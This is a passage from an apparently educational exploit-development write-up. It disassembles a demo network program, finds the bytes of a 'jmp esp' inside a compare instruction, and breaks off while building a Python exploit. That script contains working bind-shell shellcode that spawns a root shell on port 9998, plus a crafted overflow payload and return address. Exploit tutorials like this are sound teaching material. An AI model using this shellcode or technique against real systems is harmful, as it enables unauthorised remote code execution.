span class="code-line"span class="x" 8048b6d: c7 04 24 dc 8d 04 08 mov DWORD PTR [esp],0x8048ddc/span/span
span class="code-line"span class="x" 8048b74: e8 27 fb ff ff call 80486a0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b79: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="x" 8048b80: e8 3b fb ff ff call 80486c0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b85: c9 leave /span/span
span class="code-line"span class="x" 8048b86: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"08048b87/span span class="p"lt;/spanspan class="nf"senderror/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048b87: 55 push ebp/span/span
span class="code-line"span class="x" 8048b88: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048b8a: 83 ec 28 sub esp,0x28/span/span
span class="code-line"span class="x" 8048b8d: c7 44 24 14 10 00 00 mov DWORD PTR [esp+0x14],0x10/span/span
span class="code-line"span class="x" 8048b94: 00 /span/span
span class="code-line"span class="x" 8048b95: 8d 45 0c lea eax,[ebp+0xc]/span/span
span class="code-line"span class="x" 8048b98: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048b9c: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0/span/span
span class="code-line"span class="x" 8048ba3: 00 /span/span
span class="code-line"span class="x" 8048ba4: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10/span/span
span class="code-line"span class="x" 8048bab: 00 /span/span
span class="code-line"span class="x" 8048bac: c7 44 24 04 fb 8d 04 mov DWORD PTR [esp+0x4],0x8048dfb/span/span
span class="code-line"span class="x" 8048bb3: 08 /span/span
span class="code-line"span class="x" 8048bb4: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048bb7: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048bba: e8 61 fb ff ff call 8048720 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048bbf: 8b 45 1c mov eax,DWORD PTR [ebp+0x1c]/span/span
span class="code-line"span class="x" 8048bc2: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048bc5: e8 06 fb ff ff call 80486d0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048bca: c7 44 24 14 10 00 00 mov DWORD PTR [esp+0x14],0x10/span/span
span class="code-line"span class="x" 8048bd1: 00 /span/span
span class="code-line"span class="x" 8048bd2: 8d 55 0c lea edx,[ebp+0xc]/span/span
span class="code-line"span class="x" 8048bd5: 89 54 24 10 mov DWORD PTR [esp+0x10],edx/span/span
span class="code-line"span class="x" 8048bd9: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0/span/span
span class="code-line"span class="x" 8048be0: 00 /span/span
span class="code-line"span class="x" 8048be1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048be5: 8b 45 1c mov eax,DWORD PTR [ebp+0x1c]/span/span
span class="code-line"span class="x" 8048be8: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048bec: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048bef: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048bf2: e8 29 fb ff ff call 8048720 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048bf7: c9 leave /span/span
span class="code-line"span class="x" 8048bf8: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"08048bf9/span span class="p"lt;/spanspan class="nf"sendtoken/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048bf9: 55 push ebp/span/span
span class="code-line"span class="x" 8048bfa: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048bfc: 83 ec 38 sub esp,0x38/span/span
span class="code-line"span class="x" 8048bff: c7 44 24 04 cd 8d 04 mov DWORD PTR [esp+0x4],0x8048dcd/span/span
span class="code-line"span class="x" 8048c06: 08 /span/span
span class="code-line"span class="x" 8048c07: c7 04 24 0c 8e 04 08 mov DWORD PTR [esp],0x8048e0c/span/span
span class="code-line"span class="x" 8048c0e: e8 ed fa ff ff call 8048700 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c13: 89 45 f4 mov DWORD PTR [ebp-0xc],eax/span/span
span class="code-line"span class="x" 8048c16: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0/span/span
span class="code-line"span class="x" 8048c1a: 74 56 je 8048c72 lt;sendtoken+0x79gt;/span/span
span class="code-line"span class="x" 8048c1c: eb 31 jmp 8048c4f lt;sendtoken+0x56gt;/span/span
span class="code-line"span class="x" 8048c1e: c7 44 24 14 10 00 00 mov DWORD PTR [esp+0x14],0x10/span/span
span class="code-line"span class="x" 8048c25: 00 /span/span
span class="code-line"span class="x" 8048c26: 8d 45 0c lea eax,[ebp+0xc]/span/span
span class="code-line"span class="x" 8048c29: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048c2d: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0/span/span
span class="code-line"span class="x" 8048c34: 00 /span/span
span class="code-line"span class="x" 8048c35: c7 44 24 08 01 00 00 mov DWORD PTR [esp+0x8],0x1/span/span
span class="code-line"span class="x" 8048c3c: 00 /span/span
span class="code-line"span class="x" 8048c3d: 8d 45 f0 lea eax,[ebp-0x10]/span/span
span class="code-line"span class="x" 8048c40: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048c44: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048c47: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048c4a: e8 d1 fa ff ff call 8048720 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c4f: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 8048c52: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048c55: e8 16 fa ff ff call 8048670 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c5a: 89 45 f0 mov DWORD PTR [ebp-0x10],eax/span/span
span class="code-line"span class="x" 8048c5d: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]/span/span
span class="code-line"span class="x" 8048c60: 83 f8 ff cmp eax,0xffffffff/span/span
span class="code-line"span class="x" 8048c63: 75 b9 jne 8048c1e lt;sendtoken+0x25gt;/span/span
span class="code-line"span class="x" 8048c65: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 8048c68: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048c6b: e8 e0 f9 ff ff call 8048650 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c70: eb 18 jmp 8048c8a lt;sendtoken+0x91gt;/span/span
span class="code-line"span class="x" 8048c72: c7 04 24 12 8e 04 08 mov DWORD PTR [esp],0x8048e12/span/span
span class="code-line"span class="x" 8048c79: e8 22 fa ff ff call 80486a0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c7e: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="x" 8048c85: e8 36 fa ff ff call 80486c0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048c8a: c9 leave /span/span
span class="code-line"span class="x" 8048c8b: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"08048c8c/span span class="p"lt;/spanspan class="nf"checkpass/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048c8c: 55 push ebp/span/span
span class="code-line"span class="x" 8048c8d: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048c8f: 81 ec 28 02 00 00 sub esp,0x228/span/span
span class="code-line"span class="x" 8048c95: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048c98: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048c9b: e8 30 fa ff ff call 80486d0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048ca0: 83 c0 01 add eax,0x1/span/span
span class="code-line"span class="x" 8048ca3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048ca7: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048caa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048cae: 8d 85 f0 fd ff ff lea eax,[ebp-0x210]/span/span
span class="code-line"span class="x" 8048cb4: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048cb7: e8 54 fa ff ff call 8048710 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048cbc: 8d 85 f0 fd ff ff lea eax,[ebp-0x210]/span/span
span class="code-line"span class="x" 8048cc2: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048cc5: e8 86 fa ff ff call 8048750 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048cca: 89 45 f0 mov DWORD PTR [ebp-0x10],eax/span/span
span class="code-line"span class="x" 8048ccd: 81 7d f0 ff e4 00 00 cmp DWORD PTR [ebp-0x10],0xe4ff/span/span
span class="code-line"span class="x" 8048cd4: 75 09 jne 8048cdf lt;checkpass+0x53gt;/span/span
span class="code-line"span class="x" 8048cd6: c7 45 f4 05 00 00 00 mov DWORD PTR [ebp-0xc],0x5/span/span
span class="code-line"span class="x" 8048cdd: eb 19 jmp 8048cf8 lt;checkpass+0x6cgt;/span/span
span class="code-line"span class="x" 8048cdf: c7 44 24 04 2c 8e 04 mov DWORD PTR [esp+0x4],0x8048e2c/span/span
span class="code-line"span class="x" 8048ce6: 08 /span/span
span class="code-line"span class="x" 8048ce7: 8d 85 f0 fd ff ff lea eax,[ebp-0x210]/span/span
span class="code-line"span class="x" 8048ced: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048cf0: e8 2b f9 ff ff call 8048620 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048cf5: 89 45 f4 mov DWORD PTR [ebp-0xc],eax/span/span
span class="code-line"span class="x" 8048cf8: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 8048cfb: c9 leave /span/span
span class="code-line"span class="x" 8048cfc: c3 ret /span/span
span class="code-line"span class="x" 8048cfd: 90 nop/span/span
span class="code-line"span class="x" 8048cfe: 90 nop/span/span
span class="code-line"span class="x" 8048cff: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048d00/span span class="p"lt;/spanspan class="nf"__libc_csu_fini/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048d00: 55 push ebp/span/span
span class="code-line"span class="x" 8048d01: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048d03: 5d pop ebp/span/span
span class="code-line"span class="x" 8048d04: c3 ret /span/span
span class="code-line"span class="x" 8048d05: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]/span/span
span class="code-line"span class="x" 8048d09: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048d10/span span class="p"lt;/spanspan class="nf"__libc_csu_init/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048d10: 55 push ebp/span/span
span class="code-line"span class="x" 8048d11: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048d13: 57 push edi/span/span
span class="code-line"span class="x" 8048d14: 56 push esi/span/span
span class="code-line"span class="x" 8048d15: 53 push ebx/span/span
span class="code-line"span class="x" 8048d16: e8 4f 00 00 00 call 8048d6a lt;__i686.get_pc_thunk.bxgt;/span/span
span class="code-line"span class="x" 8048d1b: 81 c3 e5 03 00 00 add ebx,0x3e5/span/span
span class="code-line"span class="x" 8048d21: 83 ec 1c sub esp,0x1c/span/span
span class="code-line"span class="x" 8048d24: e8 b7 f8 ff ff call 80485e0 lt;_initgt;/span/span
span class="code-line"span class="x" 8048d29: 8d bb 04 ff ff ff lea edi,[ebx-0xfc]/span/span
span class="code-line"span class="x" 8048d2f: 8d 83 00 ff ff ff lea eax,[ebx-0x100]/span/span
span class="code-line"span class="x" 8048d35: 29 c7 sub edi,eax/span/span
span class="code-line"span class="x" 8048d37: c1 ff 02 sar edi,0x2/span/span
span class="code-line"span class="x" 8048d3a: 85 ff test edi,edi/span/span
span class="code-line"span class="x" 8048d3c: 74 24 je 8048d62 lt;__libc_csu_init+0x52gt;/span/span
span class="code-line"span class="x" 8048d3e: 31 f6 xor esi,esi/span/span
span class="code-line"span class="x" 8048d40: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]/span/span
span class="code-line"span class="x" 8048d43: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048d47: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 8048d4a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048d4e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048d51: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048d54: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100]/span/span
span class="code-line"span class="x" 8048d5b: 83 c6 01 add esi,0x1/span/span
span class="code-line"span class="x" 8048d5e: 39 fe cmp esi,edi/span/span
span class="code-line"span class="x" 8048d60: 72 de jb 8048d40 lt;__libc_csu_init+0x30gt;/span/span
span class="code-line"span class="x" 8048d62: 83 c4 1c add esp,0x1c/span/span
span class="code-line"span class="x" 8048d65: 5b pop ebx/span/span
span class="code-line"span class="x" 8048d66: 5e pop esi/span/span
span class="code-line"span class="x" 8048d67: 5f pop edi/span/span
span class="code-line"span class="x" 8048d68: 5d pop ebp/span/span
span class="code-line"span class="x" 8048d69: c3 ret /span/span
span class="code-line"/span
span class="code-line"span class="mh"08048d6a/span span class="p"lt;/spanspan class="nf"__i686.get_pc_thunk.bx/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048d6a: 8b 1c 24 mov ebx,DWORD PTR [esp]/span/span
span class="code-line"span class="x" 8048d6d: c3 ret /span/span
span class="code-line"span class="x" 8048d6e: 90 nop/span/span
span class="code-line"span class="x" 8048d6f: 90 nop/span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".fini/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048d70/span span class="p"lt;/spanspan class="nf"_fini/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048d70: 55 push ebp/span/span
span class="code-line"span class="x" 8048d71: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048d73: 53 push ebx/span/span
span class="code-line"span class="x" 8048d74: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 8048d77: e8 00 00 00 00 call 8048d7c lt;_fini+0xcgt;/span/span
span class="code-line"span class="x" 8048d7c: 5b pop ebx/span/span
span class="code-line"span class="x" 8048d7d: 81 c3 84 03 00 00 add ebx,0x384/span/span
span class="code-line"span class="x" 8048d83: 59 pop ecx/span/span
span class="code-line"span class="x" 8048d84: 5b pop ebx/span/span
span class="code-line"span class="x" 8048d85: c9 leave /span/span
span class="code-line"span class="x" 8048d86: c3 ret/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThere aren't any codejmp esp/code's there, you can use grep to make it a little easier to go through:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/span
span class="code-line"span class="normal"55/span/span
span class="code-line"span class="normal"56/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanobjdump -d ./app-net -M intel span class="p"|/span grep jmp/span
span class="code-line"span class="go" 8048616: ff 25 08 91 04 08 jmp DWORD PTR ds:0x8049108/span/span
span class="code-line"span class="go" 8048620: ff 25 0c 91 04 08 jmp DWORD PTR ds:0x804910c/span/span
span class="code-line"span class="go" 804862b: e9 e0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048630: ff 25 10 91 04 08 jmp DWORD PTR ds:0x8049110/span/span
span class="code-line"span class="go" 804863b: e9 d0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048640: ff 25 14 91 04 08 jmp DWORD PTR ds:0x8049114/span/span
span class="code-line"span class="go" 804864b: e9 c0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048650: ff 25 18 91 04 08 jmp DWORD PTR ds:0x8049118/span/span
span class="code-line"span class="go" 804865b: e9 b0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048660: ff 25 1c 91 04 08 jmp DWORD PTR ds:0x804911c/span/span
span class="code-line"span class="go" 804866b: e9 a0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048670: ff 25 20 91 04 08 jmp DWORD PTR ds:0x8049120/span/span
span class="code-line"span class="go" 804867b: e9 90 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048680: ff 25 24 91 04 08 jmp DWORD PTR ds:0x8049124/span/span
span class="code-line"span class="go" 804868b: e9 80 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048690: ff 25 28 91 04 08 jmp DWORD PTR ds:0x8049128/span/span
span class="code-line"span class="go" 804869b: e9 70 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486a0: ff 25 2c 91 04 08 jmp DWORD PTR ds:0x804912c/span/span
span class="code-line"span class="go" 80486ab: e9 60 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486b0: ff 25 30 91 04 08 jmp DWORD PTR ds:0x8049130/span/span
span class="code-line"span class="go" 80486bb: e9 50 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486c0: ff 25 34 91 04 08 jmp DWORD PTR ds:0x8049134/span/span
span class="code-line"span class="go" 80486cb: e9 40 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486d0: ff 25 38 91 04 08 jmp DWORD PTR ds:0x8049138/span/span
span class="code-line"span class="go" 80486db: e9 30 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486e0: ff 25 3c 91 04 08 jmp DWORD PTR ds:0x804913c/span/span
span class="code-line"span class="go" 80486eb: e9 20 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 80486f0: ff 25 40 91 04 08 jmp DWORD PTR ds:0x8049140/span/span
span class="code-line"span class="go" 80486fb: e9 10 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048700: ff 25 44 91 04 08 jmp DWORD PTR ds:0x8049144/span/span
span class="code-line"span class="go" 804870b: e9 00 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048710: ff 25 48 91 04 08 jmp DWORD PTR ds:0x8049148/span/span
span class="code-line"span class="go" 804871b: e9 f0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048720: ff 25 4c 91 04 08 jmp DWORD PTR ds:0x804914c/span/span
span class="code-line"span class="go" 804872b: e9 e0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048730: ff 25 50 91 04 08 jmp DWORD PTR ds:0x8049150/span/span
span class="code-line"span class="go" 804873b: e9 d0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048740: ff 25 54 91 04 08 jmp DWORD PTR ds:0x8049154/span/span
span class="code-line"span class="go" 804874b: e9 c0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048750: ff 25 58 91 04 08 jmp DWORD PTR ds:0x8049158/span/span
span class="code-line"span class="go" 804875b: e9 b0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048760: ff 25 5c 91 04 08 jmp DWORD PTR ds:0x804915c/span/span
span class="code-line"span class="go" 804876b: e9 a0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048770: ff 25 60 91 04 08 jmp DWORD PTR ds:0x8049160/span/span
span class="code-line"span class="go" 804877b: e9 90 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"span class="go" 8048862: e9 79 ff ff ff jmp 80487e0 lt;register_tm_clonesgt;/span/span
span class="code-line"span class="go" 8048867: e9 74 ff ff ff jmp 80487e0 lt;register_tm_clonesgt;/span/span
span class="code-line"span class="go" 8048a46: eb 78 jmp 8048ac0 lt;main+0x254gt;/span/span
span class="code-line"span class="go" 8048a83: eb 3b jmp 8048ac0 lt;main+0x254gt;/span/span
span class="code-line"span class="go" 8048aef: e9 59 fe ff ff jmp 804894d lt;main+0xe1gt;/span/span
span class="code-line"span class="go" 8048b17: eb 31 jmp 8048b4a lt;sendfile+0x56gt;/span/span
span class="code-line"span class="go" 8048b6b: eb 18 jmp 8048b85 lt;sendfile+0x91gt;/span/span
span class="code-line"span class="go" 8048c1c: eb 31 jmp 8048c4f lt;sendtoken+0x56gt;/span/span
span class="code-line"span class="go" 8048c70: eb 18 jmp 8048c8a lt;sendtoken+0x91gt;/span/span
span class="code-line"span class="go" 8048cdd: eb 19 jmp 8048cf8 lt;checkpass+0x6cgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pHowever, we do have another option. codeobjdump/code shows the instructions as they would be run by the processor during normal operations, you don't necessarily have to use them this way, you can instead start execution in the middle of an instruction to create a new instruction./p
pThis is what we are going to try to do (this was the reason for the extra check in the application too, as you will see)./p
pFirst we need to figure out what a href="https://en.wikipedia.org/wiki/Opcode" target="_blank"opcodes/a codejmp esp/code results in, we start by creating a simple assembly application with just codejmp esp/code in it:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="k"global /spanspan class="nv"_start/span/span
span class="code-line"/span
span class="code-line"span class="nl"_start:/span/span
span class="code-line" span class="nf"jmp/span span class="nb"esp/span/span
span class="code-line"/code/pre/div
/td/tr/table
pNow we need to assemble and link it; and then disassemble it with codeobjdump/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spannasm -f elf32 -o jesp.o jesp.nasm /span
span class="code-line"span class="gp"
[email protected]:~$ /spanld -o jesp jesp.o/span
span class="code-line"span class="gp"
[email protected]:~$ /spanobjdump -d ./jesp -M intel/span
span class="code-line"/span
span class="code-line"span class="go"./jesp: file format elf32-i386/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"span class="go"Disassembly of section .text:/span/span
span class="code-line"/span
span class="code-line"span class="go"08048060 lt;_startgt;:/span/span
span class="code-line"span class="go" 8048060: ff e4 jmp esp/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo all we need to do is find codeff e4/code anywhere in the application code. A quick grep find us an instruction that contains this sequence:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"
[email protected]:~$ /spanobjdump -d ./app-net -M intel span class="p"|/span grep span class="s1"#39;ff e4#39;/span/span
span class="code-line"span class="go" 8048ccd: 81 7d f0 ff e4 00 00 cmp DWORD PTR [ebp-0x10],0xe4ff/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is the compare to code58623/code on line 104 of the source code above, code58623/code is actually codee4ff/code in hex and its stored as codeff e4/code because we are using a a href="https://en.wikipedia.org/wiki/Endianness#Little-endian" target="_blank"little endian/a system./p
pThe start of this instruction is at the memory address code08048ccd/code and our codejmp esp/code is 3 bytes in, so just plus 3 to code08048ccd/code and we get code08048cd0/code. This is the address we will overwrite the return address with./p
h2Exploiting The App/h2
pUsing all of the information we've retrieved so far we can build our exploit:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="ch"#!/usr/bin/env python/span/span
span class="code-line"/span
span class="code-line"span class="kn"import/span span class="nn"socket/span/span
span class="code-line"/span
span class="code-line"span class="n"shellcode/span span class="o"=/span span class="s2"quot;/spanspan class="se"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\x31\xdb\xcd\x80\x89\xd8\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x27\x0e\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80/spanspan class="s2"quot;/span/span
span class="code-line"/span
span class="code-line"span class="n"payload/span span class="o"=/span span class="s2"quot;Aquot;/span span class="o"*/span span class="mi"532/span/span
span class="code-line"/span
span class="code-line"span class="n"payload/span span class="o"+=/span span class="s2"quot;/spanspan class="se"\xd0\x8c\x04\x08/spanspan class="s2"quot;/span span class="c1"# the address of our 0xff 0xe4/span/span
span class="code-line" span class="c1"# in reverse (little endian)/span/span
